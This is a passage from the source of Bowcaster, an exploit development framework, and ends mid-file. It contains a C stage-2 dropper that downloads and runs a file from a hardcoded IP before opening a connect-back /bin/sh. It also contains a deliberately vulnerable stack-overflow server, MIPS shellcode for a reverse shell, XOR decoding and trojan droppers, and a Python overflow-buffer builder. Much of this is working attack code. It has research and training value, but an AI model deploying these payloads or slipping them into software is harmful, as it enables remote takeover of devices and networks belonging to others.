Attributes 65 | ---------- 66 | WARN, INFO, DEBUG: Constants for log levels. 67 | 68 | """ 69 | WARN=0 70 | INFO=1 71 | DEBUG=2 72 | prefixes=[] 73 | prefixes.append(" [!] ") 74 | prefixes.append(" [+] ") 75 | prefixes.append(" [@] ") 76 | 77 | def __init__(self,logfile=None,max_level=INFO): 78 | """ 79 | Class constructor. 80 | 81 | Parameters 82 | ---------- 83 | logfile: Optional file name to send log output to. 84 | max_level: Optional maximum level of logging. Log messages 85 | above this level will be suppressed. 86 | """ 87 | self.max_level=int(max_level) 88 | self.logfile=sys.stdout 89 | if logfile: 90 | self.logfile=open(logfile,"a") 91 | 92 | def set_max_log_level(self,max_level): 93 | """ 94 | Change the maximum log level of a Logging object at run time. 95 | """ 96 | self.max_level=max_level 97 | 98 | def log_msg_start(self,msg,level=INFO): 99 | """ 100 | Print the start of a log message with level decorator, but no newline. 101 | 102 | Parameters 103 | ---------- 104 | msg: String to print 105 | level: one of the Logging class's level attributes 106 | """ 107 | if level <= self.max_level: 108 | pref=Logging.prefixes[level] 109 | self.logfile.write(pref+msg) 110 | self.logfile.flush() 111 | 112 | def log_msg_end(self,msg,level=INFO): 113 | """ 114 | Print the start of a log message with NO level decorator, but with a newline. 115 | """ 116 | if level <= self.max_level: 117 | self.logfile.write("%s\n" % msg) 118 | self.logfile.flush() 119 | 120 | def log_msg(self,msg,level=INFO): 121 | """ 122 | Print a log message prefixed with level decorator and terminated with a newline. 123 | """ 124 | if level <= self.max_level: 125 | msg="%s\n"%msg 126 | self.log_msg_start(msg,level) 127 | 128 | def LOG_INFO(self,msg): 129 | """ 130 | Convenience method for INFO log level. 131 | """ 132 | self.log_msg(msg,level=Logging.INFO) 133 | 134 | def LOG_WARN(self,msg): 135 | """ 136 | Covenience method for the WARN log level. 137 | """ 138 | self.log_msg(msg,level=Logging.WARN) 139 | 140 | def LOG_DEBUG(self,msg): 141 | """ 142 | Convenience method for the DEBUG log level. 143 | """ 144 | self.log_msg(msg,level=Logging.DEBUG) 145 | 146 | def set_log_file(self,logfile): 147 | """ 148 | Set the file to use for logging to . 149 | 150 | will be opened for appending and will become the destination 151 | for all future log output. 152 | """ 153 | if not self.logfile == sys.stdout: 154 | self.logfile.close() 155 | self.logfile=open(logfile,"a") 156 | 157 | def set_log_stdout(self,logfile): 158 | """ 159 | Set log output to stdout. 160 | """ 161 | if not self.logfile == sys.stdout: 162 | self.logfile.close() 163 | self.logfile=sys.stdout 164 | -------------------------------------------------------------------------------- /src/bowcaster/common/testlogger.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Copyright (c) 2013 3 | # - Zachary Cutlip 4 | # - Tactical Network Solutions, LLC 5 | # 6 | # See LICENSE.txt for more details. 7 | # 8 | 9 | 10 | from support import Logging 11 | 12 | 13 | logger=Logging() 14 | logger.log_msg_start("Start message...") 15 | 16 | logger.log_msg_end("done.") 17 | 18 | logger.log_msg("hello") 19 | 20 | logger.LOG_INFO("Info message.") 21 | 22 | logger.LOG_WARN("Warning message.") 23 | 24 | logger.LOG_DEBUG("Debug message.") 25 | 26 | logger.set_log_file("./testlog.log") 27 | 28 | logger.LOG_INFO("Info message.") 29 | 30 | logger.LOG_WARN("Warning message.") 31 | 32 | logger.LOG_DEBUG("Debug message.") 33 | 34 | 35 | -------------------------------------------------------------------------------- /src/bowcaster/contrib/C/config.h: -------------------------------------------------------------------------------- 1 | #ifndef __CONFIG_H__ 2 | #define __CONFIG_H__ 3 | 4 | #define IPADDRESS "192.168.0.10" 5 | 6 | #endif 7 | -------------------------------------------------------------------------------- /src/bowcaster/contrib/C/stage2dropper.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2013 3 | * - Zachary Cutlip 4 | * - Tactical Network Solutions, LLC 5 | * 6 | * See LICENSE.txt for more details. 7 | * 8 | */ 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | #define STAGE2_DROP "/var/drp2" 22 | 23 | int main(void) 24 | { 25 | char *ex[4]; 26 | int s; 27 | struct sockaddr_in s4; 28 | char inbuf[512]; 29 | size_t rb; 30 | int out_fd; 31 | 32 | #ifdef DAEMON 33 | daemon(0,1); 34 | #else 35 | //fork to get out of the exploited process pid 36 | if(fork()) 37 | { 38 | exit(0); 39 | } 40 | #endif 41 | 42 | 43 | s4.sin_family=AF_INET; 44 | 45 | s4.sin_port=htons(8080); 46 | s4.sin_addr.s_addr=inet_addr(IPADDRESS); 47 | 48 | s=socket(AF_INET,SOCK_STREAM,0); 49 | 50 | out_fd = open(STAGE2_DROP,O_CREAT|O_WRONLY|O_SYNC,S_IRWXU|S_IRWXG|S_IRWXO); 51 | if(0 > out_fd) 52 | { 53 | printf("failed to create stage 2 drop file.\n"); 54 | exit(1); 55 | } 56 | 57 | printf("sleeping to ensure drop server is up.\n"); 58 | sleep(1); 59 | //rb=0; 60 | // while(rb < 10) 61 | // { 62 | // rb++; 63 | // fprintf(stderr,"\r%.*s",rb,".........."); 64 | // usleep(500000); 65 | // 66 | // } 67 | 68 | printf("\n"); 69 | 70 | printf("fetching drop file.\n"); 71 | 72 | if(connect(s,(struct sockaddr *)&s4,sizeof(struct sockaddr_in))) 73 | { 74 | printf("error connecting to stage 2 drop server. Sorry it didn't work out.\n"); 75 | exit(1); 76 | } 77 | 78 | rb=0; 79 | do 80 | { 81 | /* yup. first write is 0. suck it. */ 82 | write(out_fd,inbuf,rb); 83 | rb=read(s,inbuf,512); 84 | 85 | }while(rb>0); 86 | 87 | close(s); 88 | close(out_fd); 89 | 90 | s=socket(AF_INET,SOCK_STREAM,0); 91 | 92 | printf("connecting to callback server.\n"); 93 | if(connect(s,(struct sockaddr *)&s4,sizeof(struct sockaddr_in))) 94 | { 95 | printf("error connecting to callback shell server. Sorry it didn't work out.\n"); 96 | exit(1); 97 | } 98 | 99 | 100 | dup2(s,0); 101 | dup2(s,1); 102 | dup2(s,2); 103 | ex[0]="/bin/sh"; 104 | ex[1]=NULL; 105 | execve(ex[0],ex,NULL); 106 | 107 | printf("execve() failed.\nInsert 25¢ to play again."); 108 | exit(1); 109 | } 110 | 111 | -------------------------------------------------------------------------------- /src/bowcaster/contrib/C/vulnerable.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2013 3 | * - Zachary Cutlip 4 | * - Tactical Network Solutions, LLC 5 | * 6 | * See LICENSE.txt for more details. 7 | * 8 | */ 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | int accept_remote(const char *local_port); 21 | int receive_data(int sockfd); 22 | int use_stack_space(int sockfd); 23 | 24 | int main(int argc, char **argv) 25 | { 26 | int sockfd; 27 | char *local_port; 28 | int bytes_received; 29 | 30 | if(argc != 2) 31 | { 32 | printf("Please specify local port.\n"); 33 | exit(1); 34 | } 35 | 36 | local_port=argv[1]; 37 | 38 | sockfd=accept_remote(local_port); 39 | if(sockfd < 0) 40 | { 41 | printf("Failed to accept connection.\n"); 42 | exit(1); 43 | } 44 | 45 | bytes_received=use_stack_space(sockfd); 46 | 47 | printf("recieved %d bytes\n",bytes_received); 48 | 49 | shutdown(sockfd,SHUT_RDWR); 50 | close(sockfd); 51 | 52 | return 0; 53 | } 54 | 55 | 56 | int use_stack_space(int sockfd) 57 | { 58 | /* allocate a bunch of space on the stack 59 | * before calling the vulnerable function. 60 | * so we can overflow with a larger buffer. 61 | */ 62 | char buf[2048]; 63 | memset(buf,1,sizeof(buf)); 64 | 65 | return receive_data(sockfd); 66 | } 67 | 68 | /* 69 | * vulnerable function. 70 | * reads up to 2048 off a socket onto a small buffer on the stack. 71 | */ 72 | int receive_data(int sockfd) 73 | { 74 | int read_bytes; 75 | char buf[512]; 76 | 77 | 78 | if(sockfd < 0) 79 | { 80 | return -1; 81 | } 82 | 83 | read_bytes=recv(sockfd,buf,2048,0); 84 | if(read_bytes < 0) 85 | { 86 | perror("recv"); 87 | }else 88 | { 89 | printf("read %d bytes.\n",read_bytes); 90 | } 91 | 92 | return read_bytes; 93 | 94 | } 95 | 96 | int accept_remote(const char *local_port) 97 | { 98 | int server_sockfd; 99 | int connection_sockfd; 100 | socklen_t sin_size; 101 | struct addrinfo hints; 102 | struct addrinfo *srvinfo; 103 | struct addrinfo *p; 104 | struct sockaddr_storage their_addr; 105 | int yes=1; 106 | char s[INET6_ADDRSTRLEN]; 107 | int rv; 108 | 109 | if(NULL == local_port) 110 | { 111 | printf("Invalid parameter: local_port string was NULL.\n"); 112 | return -1; 113 | } 114 | 115 | 116 | memset(&hints,0,sizeof(hints)); 117 | 118 | hints.ai_family = AF_UNSPEC; 119 | hints.ai_socktype = SOCK_STREAM; 120 | hints.ai_flags = AI_PASSIVE; //use my ip 121 | 122 | if((rv = getaddrinfo(NULL,local_port,&hints,&srvinfo)) != 0) 123 | { 124 | printf("getaddrinfo: %s\n",gai_strerror(rv)); 125 | return -1; 126 | } 127 | 128 | for(p=srvinfo; p != NULL; p=p->ai_next) 129 | { 130 | if((server_sockfd = socket(p->ai_family,p->ai_socktype, 131 | p->ai_protocol)) == -1) 132 | { 133 | printf("server: socket %s",strerror(errno)); 134 | continue; 135 | } 136 | if(setsockopt(server_sockfd, SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(int)) == -1) 137 | { 138 | printf("setsockopt: %s",strerror(errno)); 139 | return -1; 140 | } 141 | 142 | if(bind(server_sockfd,p->ai_addr, p->ai_addrlen) == -1) 143 | { 144 | printf("server: bind %s",strerror(errno)); 145 | close(server_sockfd); 146 | continue; 147 | } 148 | break; 149 | } 150 | 151 | if(NULL == p) 152 | { 153 | printf("server: failed to bind."); 154 | return -1; 155 | } 156 | 157 | freeaddrinfo(srvinfo); 158 | 159 | if(listen(server_sockfd,1) == -1) 160 | { 161 | printf("listen=: %s",strerror(errno)); 162 | return -1; 163 | } 164 | 165 | while(1) 166 | { 167 | sin_size=sizeof(their_addr); 168 | connection_sockfd = accept(server_sockfd,(struct sockaddr *)&their_addr,&sin_size); 169 | if(connection_sockfd == -1) 170 | { 171 | printf("accept: %s",strerror(errno)); 172 | continue; 173 | } 174 | inet_ntop(their_addr.ss_family, 175 | &(((struct sockaddr_in *)&their_addr)->sin_addr), 176 | s,sizeof(s)); 177 | printf("Connection from %s",s); 178 | 179 | close(server_sockfd); //done with listener 180 | return connection_sockfd; 181 | } 182 | 183 | } 184 | 185 | 186 | -------------------------------------------------------------------------------- /src/bowcaster/contrib/asm/mips/README: -------------------------------------------------------------------------------- 1 | I originally created the MIPS payload Python modules prior to the existence of 2 | Bowcaster. Since I had already generated the Python code, I didn't do a great 3 | job in all cases of keeping up with the original assembly files. I've gathered 4 | them together as well as I could. These should more or less represent the MIPS 5 | payloads that are in Bowcaster, but they aren't guaranteed to assemble to the 6 | exact same binary code that is found in the payload modules. 7 | -------------------------------------------------------------------------------- /src/bowcaster/contrib/asm/mips/mipsel_xor.s: -------------------------------------------------------------------------------- 1 | .set noat 2 | .set noreorder 3 | 4 | li $t6, 0xfffffffb # 4 passes 5 | nor $t6, $t6, $zero # put number of passes in $t6 6 | li $t3,-93 # addend to calculated PC is ??? 7 | xor $t0,$t6,$t6 8 | addi $t0,$t0,-1 9 | next: 10 | bltzal $t0, next 11 | slti $t0, $zero, 0x8282 12 | addi $sp,$ra,-30 13 | nor $t3, $t3, $zero # addend in $9 14 | addu $t9, $ra, $t3 # $t9 points to encoded shellcode +4 15 | slti $s7, $zero, 0x8282 # store 0 in $s7 (our counter) 16 | lw $s1, -4($t9) # load xor key in $s1 17 | li $t4, -5 18 | nor $t4, $t4, $zero # 4 in $t4 19 | addi $t7, $t4, -3 # 1 in $t7 20 | 21 | loop: 22 | lw $t0, -4($t9) 23 | addu $s7, $s7, $t7 # increment counter 24 | xor $v1, $t0, $s1 25 | sltu $s8, $s7, $t6 # enough loops? 26 | sw $v1, -4($t9) 27 | bne $zero, $s8, loop 28 | addu $t9, $t9, $t4 # next instruction to decode :) 29 | 30 | addi $a2, $t4, -3 # 1 in $a2 (for req.sec) 31 | sw $a2,-8($sp) 32 | xor $a1,$t6,$t6 #zero in $a1 (NULL for timespec *rem, 0 for req.nsec)) 33 | sw $a1,-4($sp) #$a1 (0) in req.nsec 34 | addiu $a0,$sp,-8 #timespec *req in $a0 35 | 36 | li $v0, 4166 # nanosleep, fucker 37 | syscall 0x52950 38 | 39 | nop # encoded shellcoded must be here (xor key right here #) 40 | # $t9 (aka $t9) points here 41 | 42 | 43 | -------------------------------------------------------------------------------- /src/bowcaster/contrib/asm/mips/rev_shell_null_free_le.s: -------------------------------------------------------------------------------- 1 | .set noat 2 | li $t7,-3 3 | nor $a0,$t7,$zero 4 | nor $a1,$t7,$zero 5 | slti $a2,$zero,-1 6 | li $v0,4183 /*( sys_socket ) */ 7 | syscall 0x40404 8 | 9 | sw $v0,-1($sp) 10 | lw $a0,-1($sp) 11 | li $t7,-3 /*( sa_family = AF_INET ) */ 12 | nor $t7,$t7,$zero 13 | sw $t7,-30($sp) 14 | lui $t6,0x697a /*( sin_port = 0x7a69 )*/ 15 | ori $t6,$t6,0x697a 16 | sw $t6,-28($sp) 17 | 18 | /* ip address */ 19 | lui $t5,0x0a0a /*( sin_addr = 0xa0a0 ... */ 20 | ori $t5,$t5,0x0a0a /* ...0a0a ) 10.10.10.10*/ 21 | 22 | 23 | sw $t5,-26($sp) 24 | addi $a1,$sp,-30 25 | li $t4,-17 /*( addrlen = 16 ) */ 26 | nor $a2,$t4,$zero 27 | li $v0,4170 /*( sys_connect ) */ 28 | syscall 0x40404 29 | 30 | li $t7,-3 31 | nor $a1,$t7,$zero 32 | lw $a0,-1($sp) 33 | dup2_loop: 34 | li $v0,4063 /*( sys_dup2 ) */ 35 | syscall 0x40404 36 | addi $a1,$a1,-1 37 | li $at,-1 38 | bne $a1,$at, dup2_loop 39 | 40 | slti $a2,$zero,-1 41 | lui $t7,0x6962 /* ib*/ 42 | ori $t7,$t7,0x2f2f /* // */ 43 | sw $t7,-12($sp) 44 | lui $t6,0x6873 /* hs */ 45 | ori $t6,$t6,0x2f6e /* /n */ 46 | sw $t6,-8($sp) 47 | sw $zero,-4($sp) 48 | addiu $a0,$sp,-12 /* a0 contains char * "//bin/sh" */ 49 | sw $a0,-40($sp) /* copy char * to stack for first elem in char ** */ 50 | slti $a1,$zero,-1 51 | sw $a1,-36($sp) /* copy NULL to stack for second elem in char ** */ 52 | addiu $a1,$sp,-40 /* load load char **argv into $a1 */ 53 | /* slti $a1,$zero,-1 */ 54 | li $v0,4011 /*( sys_execve )*/ 55 | syscall 0x40404 56 | slti $a2,$zero,-1 57 | -------------------------------------------------------------------------------- /src/bowcaster/contrib/asm/mips/trampoline.s: -------------------------------------------------------------------------------- 1 | .set noat 2 | .set noreorder 3 | 4 | beq $t7,$t7,-728 5 | xor $t7,$t7,$zero 6 | 7 | -------------------------------------------------------------------------------- /src/bowcaster/contrib/asm/mips/trojan-dropper-mips-be.s: -------------------------------------------------------------------------------- 1 | /* 2 | * (c) 2012 Zachary Cutlip , 3 | * Tactical Network Solutions, LLC 4 | * 5 | * This MIPS big-endian shellcode will connect back to the operator, read whatever 6 | * is served up, write that data to /tmp/drp, and attempt to execute that file. 7 | * 8 | * One recommended usage is to serve up a dual-purpose trojan (see accomapanying 9 | * stage 2) that first drops a second file (e.g, tftp client), and then establishes 10 | * a connect-back shell to the operator. 11 | * 12 | * This is ideal for situations where you can get execution on the system but have 13 | * no way of transferring files. 14 | */ 15 | 16 | .set noat 17 | /* open file */ 18 | lui $t7,0x2f76 /* /v */ 19 | ori $t7,0x6172 /* ar */ 20 | sw $t7,-12($sp) 21 | lui $t6,0x2f64 /* /d */ 22 | ori $t6,0x7270 /* rp */ 23 | sw $t6,-8($sp) 24 | sw $zero,-4($sp) 25 | addiu $a0,$sp,-12 26 | li $a1,0x111 /* O_CREAT|O_WRONLY */ 27 | li $a2,0x1ff /* 0777 */ 28 | li $v0,4005 /* sys_open */ 29 | syscall 0x40404 30 | sw $v0,-44($sp) 31 | 32 | /* connect */ 33 | li $t7,-3 34 | nor $a1,$t7,$zero 35 | sw $a1,-32($sp) /* This puts AF_INET (2) into the sockaddr struct we'll need later */ 36 | lw $a0,-32($sp) /* this gets 2 into $a0 without a 0x20 in the shellcode */ 37 | slti $a2,$zero,-1 38 | li $v0,4183 /*( sys_socket ) */ 39 | syscall 0x40404 40 | sw $v0,-1($sp) 41 | lw $a0,-1($sp) 42 | /* li $t7,-3 /*( sa_family = AF_INET ) */ 43 | /* nor $t7,$t7,$zero */ 44 | /* sw $t7,-32($sp) */ 45 | lui $t6,0x7a69 /*( sin_port = 0x7a69 )*/ 46 | ori $t6,$t6,0x7a69 47 | sw $t6,-28($sp) 48 | lui $t5,0x0a0a /*( sin_addr = 0xa0a0 ... */ 49 | ori $t5,$t5,0x0a0a /* ...0a0a ) 10.10.10.10*/ 50 | sw $t5,-26($sp) 51 | addiu $a1,$sp,-30 52 | li $t4,-17 /*( addrlen = 16 ) */ 53 | nor $a2,$t4,$zero 54 | li $v0,4170 /*( sys_connect ) */ 55 | syscall 0x40404 56 | 57 | /* prep first "write" to be 0 in size */ 58 | slti $a2,$zero,-1 59 | write_file: 60 | lw $a0,-44($sp) 61 | addiu $a1,$sp,-48 62 | /* On 1st pass $a2 has 0, so this write is inert */ 63 | /* on 2nd+ pass $a2 should have 1 from the 1 byte read */ 64 | li $v0,4004 /*sys_write*/ 65 | syscall 0x40404 66 | 67 | /* read from socket */ 68 | lw $a0,-1($sp) 69 | addiu $a1,$sp,-48 70 | slti $a2,$zero,0x0fff 71 | li $v0,4003 /*sys_read */ 72 | syscall 0x40404 73 | bgtz $v0,write_file 74 | 75 | /* close socket */ 76 | li $v0,4006 77 | syscall 0x40404 78 | /* close dropped file */ 79 | lw $a0,-44($sp) 80 | li $v0,4006 81 | syscall 0x40404 82 | 83 | /* exec /tmp/drp */ 84 | addiu $a0,$sp,-12 /* a0 contains char * "/tmp/drp" */ 85 | sw $a0,-48($sp) /* copy char * to stack for first elem in char ** */ 86 | sw $v0,-44($sp) /* hopefully v0 contains 0 from close()? Copy NULL to stack for 2nd 87 | /* elem in char ** */ 88 | /*addiu $a1,$sp,-48 */ /* Reusing stack addr from read/write loop, already in a1 */ 89 | slti $a2,$zero,-1 90 | li $v0,4011 /* sys_execve */ 91 | syscall 0x40404 92 | 93 | -------------------------------------------------------------------------------- /src/bowcaster/contrib/asm/mips/trojan-dropper-mips-le.s: -------------------------------------------------------------------------------- 1 | /* 2 | * (c) 2012 Zachary Cutlip , 3 | * Tactical Network Solutions, LLC 4 | * 5 | * This MIPS little-endian shellcode will connect back to the operator, read whatever 6 | * is served up, write that data to /tmp/drp, and attempt to execute that file. 7 | * 8 | * One recommended usage is to serve up a dual-purpose trojan (see accomapanying 9 | * stage 2) that first drops a second file (e.g, tftp client), and then establishes 10 | * a connect-back shell to the operator. 11 | * 12 | * This is ideal for situations where you can get execution on the system but have 13 | * no way of transferring files. 14 | */ 15 | 16 | .set noat 17 | /* open file */ 18 | lui $t7,0x7261 /* ra */ 19 | ori $t7,0x762f /* v/ */ 20 | sw $t7,-12($sp) 21 | lui $t6,0x7072 /* pr */ 22 | ori $t6,0x642f /* d/ */ 23 | sw $t6,-8($sp) 24 | sw $zero,-4($sp) 25 | addiu $a0,$sp,-12 26 | li $a1,0x111 /* O_CREAT|O_WRONLY */ 27 | li $a2,0x1ff /* 0777 */ 28 | li $v0,4005 /* sys_open */ 29 | syscall 0x40404 30 | sw $v0,-44($sp) 31 | 32 | /* connect */ 33 | li $t7,-3 34 | nor $a1,$t7,$zero 35 | sw $a1,-30($sp) /* This puts AF_INET (2) into the sockaddr struct we'll need later */ 36 | lw $a0,-30($sp) /* this gets 2 into $a0 without a 0x20 */ 37 | slti $a2,$zero,-1 38 | li $v0,4183 /*( sys_socket ) */ 39 | syscall 0x40404 40 | sw $v0,-1($sp) 41 | lw $a0,-1($sp) 42 | /* li $t7,-3 /*( sa_family = AF_INET ) */ 43 | /* nor $t7,$t7,$zero */ 44 | /* sw $t7,-30($sp) */ 45 | lui $t6,0x901f /*( sin_port = 8080) */ 46 | ori $t6,$t6,0x901f 47 | sw $t6,-28($sp) 48 | 49 | lui $t5,0x0a0a /*( sin_addr = 0xa0a0 ... */ 50 | ori $t5,$t5,0x0a0a /* ...0a0a ) 10.10.10.10*/ 51 | 52 | sw $t5,-26($sp) 53 | addiu $a1,$sp,-30 54 | li $t4,-17 /*( addrlen = 16 ) */ 55 | nor $a2,$t4,$zero 56 | li $v0,4170 /*( sys_connect ) */ 57 | syscall 0x40404 58 | 59 | /* prep first "write" to be 0 in size */ 60 | slti $a2,$zero,-1 61 | write_file: 62 | lw $a0,-44($sp) 63 | addiu $a1,$sp,-48 64 | /* On 1st pass $a2 has 0, so this write is inert */ 65 | /* on 2nd+ pass $a2 should have 1 from the 1 byte read */ 66 | li $v0,4004 /*sys_write*/ 67 | syscall 0x40404 68 | 69 | /* read from socket */ 70 | lw $a0,-1($sp) 71 | addiu $a1,$sp,-48 72 | slti $a2,$zero,0x0fff 73 | li $v0,4003 /*sys_read */ 74 | syscall 0x40404 75 | bgtz $v0,write_file 76 | 77 | /* close socket */ 78 | li $v0,4006 79 | syscall 0x40404 80 | /* close dropped file */ 81 | lw $a0,-44($sp) 82 | li $v0,4006 83 | syscall 0x40404 84 | 85 | /* exec /tmp/drp */ 86 | addiu $a0,$sp,-12 /* a0 contains char * "/tmp/drp" */ 87 | sw $a0,-48($sp) /* copy char * to stack for first elem in char ** */ 88 | sw $v0,-44($sp) /* hopefully v0 contains 0 from close()? Copy NULL to stack for 2nd 89 | /* elem in char ** */ 90 | /*addiu $a1,$sp,-48 */ /* Reusing stack addr from read/write loop, already in a1 */ 91 | slti $a2,$zero,-1 92 | li $v0,4011 /* sys_execve */ 93 | syscall 0x40404 94 | 95 | -------------------------------------------------------------------------------- /src/bowcaster/development/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013 2 | # - Zachary Cutlip 3 | # - Tactical Network Solutions, LLC 4 | # 5 | # See LICENSE.txt for more details. 6 | # 7 | from overflowbuilder import * 8 | __all__ = ["OverflowBuffer","EmptyOverflowBuffer","OverflowSection","PatternSection","RopGadget","SectionCreator",] -------------------------------------------------------------------------------- /src/bowcaster/development/overflowbuilder.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013 2 | # - Zachary Cutlip 3 | # - Tactical Network Solutions, LLC 4 | # 5 | # See LICENSE.txt for more details. 6 | # 7 | import struct 8 | 9 | from ..common.support import Logging 10 | from ..common.support import BigEndian,LittleEndian 11 | from ..common.support import pretty_string 12 | from ..common.support import parse_badchars 13 | from ..common.support import PointerSizes 14 | from ..common.support import StructPackFmt 15 | 16 | LP32=PointerSizes.LP32 17 | LP64=PointerSizes.LP64 18 | 19 | 20 | 21 | class OverflowBuilderException(Exception): 22 | pass 23 | 24 | class OverflowBuffer(object): 25 | """ 26 | Primary overflow builder class. 27 | 28 | Generates a buffer of a desired length filled with a generated pattern. 29 | Replaces parts of that pattern with replacement objects such as ROP 30 | addresses and a payload string. 31 | """ 32 | 33 | def __init__(self,endianness,length=0,pointer_size=LP32,overflow_sections=None,logger=None): 34 | """ 35 | Class constructor. 36 | 37 | Parameters 38 | ---------- 39 | endianness: Big or little endian encoding 40 | length: Length of overflow buffer to build. 41 | pointer_size: Width of a pointer in bytes. Recognized pointer widths are 42 | 4 and 8. Default is 4. 43 | overflow_sections: List of OverflowSection objects to substitute 44 | into the base overflow string. 45 | logger: Optional logger object. If none is provided, a logger will be 46 | instantiated with output to stdout. 47 | 48 | Attributes 49 | ---------- 50 | 51 | 52 | Raises OverflowBuilderException 53 | """ 54 | 55 | self.overflow_string=None 56 | self.endianness=endianness 57 | self.pointer_size=pointer_size 58 | self.format_str=StructPackFmt(endianness,pointer_size) 59 | self.logger=logger 60 | if overflow_sections and not length: 61 | length=overflow_sections.min_overflow_length() 62 | 63 | if not self.logger: 64 | self.logger=Logging() 65 | if None == overflow_sections: 66 | overflow_sections = [] 67 | 68 | self.overflow_sections=overflow_sections 69 | ostr=PatternSection.pattern_create(length) 70 | if len(ostr) < length: 71 | raise OverflowBuilderException("Maximum overflow length is only %d. Can't build string %d long.\n" %(len(ostr),length)) 72 | for osect in overflow_sections: 73 | if (osect.offset + len(osect.section_string)) > len(ostr): 74 | err="Overflow replacement section not within bounds of overflow string\n"+\ 75 | "Name: %s\nOffset: %d\nLength: %d\noverflow string needs to be %d long to fit" \ 76 | % (osect.description,osect.offset,len(osect.section_string),osect.offset+len(osect.section_string)) 77 | raise OverflowBuilderException(err) 78 | 79 | ostr=ostr[:osect.offset]+\ 80 | osect.section_string+\ 81 | ostr[osect.offset+len(osect.section_string):] 82 | problems=self.scan_for_overlaps(overflow_sections) 83 | if(len(problems) > 0): 84 | for k,v in problems.items(): 85 | print str(k) 86 | print k.offset 87 | print len(k.section_string) 88 | message="Section \"%s\",\n\toffset: %d\n\tlength: %d\n\toverlaps with the following sections:" % (str(k),k.offset,len(k.section_string)) 89 | self.logger.LOG_WARN(message) 90 | for section in v: 91 | self.logger.LOG_WARN("\"%s\"\n\toffset: %d\n\tlength: %d" % 92 | (str(section),section.offset,len(section.section_string))) 93 | 94 | raise OverflowBuilderException("Overlapping overflow sections.") 95 | 96 | self.overflow_string=ostr 97 | def len(self): 98 | """ 99 | Returns length of the overflow buffer. 100 | """ 101 | return len(self.overflow_string) 102 | 103 | def scan_for_overlaps(self,section_list): 104 | """ 105 | Scan all overflow sections for overlaps with each other. 106 | 107 | Iterates over every section in the provided list checking for overlaps. 108 | The first section is checked against the remaining sections, then 109 | removed from the list. Then the next section is checked against all 110 | remaining ones, and so forth until no unscanned sections removed. 111 | 112 | Parameters 113 | ---------- 114 | section_list: List of sections to to check for overlaps. 115 | 116 | 117 | Note 118 | ---- 119 | Returns a dictionary of problem sections, each one with a list of 120 | overlapping sections: 121 | { 122 | section_1:list_of_s1_overlapping_sections[...], 123 | section_2:list_of_s2_overlapping_sections[...] 124 | } 125 | An empty dictionary means there were no problems. 126 | """ 127 | not_scanned=[] 128 | problems={} 129 | 130 | for sect in section_list: 131 | not_scanned.append(sect) 132 | 133 | while len(not_scanned) > 0: 134 | overlapping=[] 135 | sect=not_scanned.pop(0) 136 | for unscanned in not_scanned: 137 | if sect.overlaps_with(unscanned): 138 | overlapping.append(unscanned) 139 | if len(overlapping) > 0: 140 | problems[sect]=overlapping 141 | return problems 142 | 143 | 144 | def scan_for_nulls(self): 145 | """ 146 | Scan the overflow string for NULL bytes. 147 | 148 | Returns a list of offsets in the overflow string where NULL bytes are 149 | located. An empty list means no NULL bytes were found. 150 | """ 151 | offsets=[] 152 | current_offset=0 153 | 154 | for char in self.overflow_string: 155 | current_offset+=1 156 | if char == '\x00': 157 | offsets.append(current_offset) 158 | 159 | return offsets 160 | 161 | 162 | def find_offset(self,value): 163 | """Find a string in the overflow string. 164 | Returns offset where the string is found, or -1 if not found. 165 | See Python string.find() for semantic info. 166 | """ 167 | string=value 168 | if isinstance(value,int): 169 | format_str=self.format_str 170 | string=struct.pack(format_str,value) 171 | 172 | return self.overflow_string.find(string) 173 | 174 | def print_section_descriptions(self): 175 | self.logger.LOG_INFO("************************************") 176 | self.logger.LOG_INFO("Section Descriptions:") 177 | self.logger.LOG_INFO("") 178 | for section in self.overflow_sections: 179 | self.logger.LOG_INFO(section.description) 180 | self.logger.LOG_INFO("") 181 | self.logger.LOG_INFO("************************************") 182 | 183 | def __len__(self): 184 | return self.len() 185 | 186 | def __str__(self): 187 | return self.overflow_string 188 | 189 | def __repr__(self): 190 | return str(self) 191 | 192 | def pretty_string(self): 193 | return pretty_string(self.overflow_string) 194 | 195 | class EmptyOverflowBuffer(OverflowBuffer): 196 | """ 197 | Class for creating a zero-length overflow buffer object that can be extended 198 | by appending various overflow sections, such as ROP gadgets or strings. 199 | """ 200 | def __init__(self,endianness,default_base=0,badchars=[],maxlength=0,logger=None): 201 | """ 202 | Class constructor. 203 | 204 | Parameters 205 | ---------- 206 | endianness: Endianness of the target system. (See the support.BigEndian 207 | and support.LittleEndian) 208 | default_base: Optional. The default base address to be used when 209 | computing ROP addresses. 210 | badchars: Optional. List of restricted bytes that must be avoided. 211 | maxlength: Optional. Maximum length of this buffer overflow. 212 | The objects add_* methods will enforce this length, if set. 213 | logger: Optional logger object. If none is provided, a logger will be 214 | instantiated with output to stdout. 215 | """ 216 | 217 | self.default_base=default_base 218 | self.endianness=endianness 219 | self.badchars=parse_badchars(badchars) 220 | no_sections=[] 221 | no_length=0 222 | self.maxlength=maxlength 223 | self.sections=no_sections 224 | 225 | if not logger: 226 | logger=Logging() 227 | self.section_creator=SectionCreator(endianness,base_address=default_base,badchars=badchars,logger=logger) 228 | super(self.__class__,self).__init__(endianness,no_length,no_sections,logger=logger) 229 | 230 | def __add_section(self,section): 231 | newlength=self.len() + len(section.section_string) 232 | if self.maxlength and (newlength > self.maxlength ): 233 | overage=newlength-self.maxlength 234 | err=("Section \"%s\" exceeds maximum length of %d by %d bytes." % 235 | (section.description,self.maxlength,overage)) 236 | raise OverflowBuilderException(err) 237 | self.overflow_sections.append(section) 238 | self.overflow_string=self.overflow_string+section.section_string 239 | 240 | def add_string(self,string,description=None): 241 | """ 242 | Append a string seciton to the overflow buffer. 243 | 244 | Parameters 245 | ---------- 246 | string: The string to append to the overflow buffer. 247 | description: Optional. A string describing this overflow section. If one 248 | is not provided, a generic one will be generated. Useful for 249 | more readable logs and Exception messages. 250 | 251 | Raises OverflowBuilerException if this string would cause the overflow 252 | buffer to 